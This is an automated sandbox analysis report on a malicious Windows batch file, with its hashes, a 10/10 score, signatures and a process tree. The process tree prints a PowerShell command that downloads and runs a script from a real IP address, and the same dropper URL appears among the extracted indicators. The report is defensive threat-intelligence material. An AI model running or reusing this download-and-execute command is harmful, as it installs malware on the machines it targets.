9bf30b808e78d5a9b262780e6b3c1479f5886a5026f781e38b057fa90d17ad43 | Triage

Analysis

max time kernel
137s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
10-06-2020 04:10

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General

Target

a4aca9057cc10618a79ca8151afec479.bat
Size

217B
MD5

e1599c1a16de36f62fc0cc3af1ac017f
SHA1

471367e29f86a7207c149cc46017217291006678
SHA256

9bf30b808e78d5a9b262780e6b3c1479f5886a5026f781e38b057fa90d17ad43
SHA512

e3cfa4040bd5cfcc5e80a141c88d7e2bfe44cccaf83bab2fac65b432c52d66aad6eaf23b607cc78970710d17eef2559adbe1b42ee482bb04e73536ddd214993e

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/a4aca9057cc10618a79ca8151afec479

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1148 904 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1148 WerFault.exe
Token: SeBackupPrivilege 1148 WerFault.exe
Token: SeDebugPrivilege 1148 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe
1148	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a4aca9057cc10618a79ca8151afec479.bat"
1⤵
PID:640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/a4aca9057cc10618a79ca8151afec479');Invoke-HVGROAEJEA;Start-Sleep -s 10000"
2⤵
PID:904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 904 -s 708
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1148

Network

MITRE ATT&CK Matrix

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Downloads

memory/1148-0-0x0000000004A00000-0x0000000004A01000-memory.dmp

Filesize
4KB

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memory/1148-1-0x0000000005130000-0x0000000005131000-memory.dmp

Filesize
4KB

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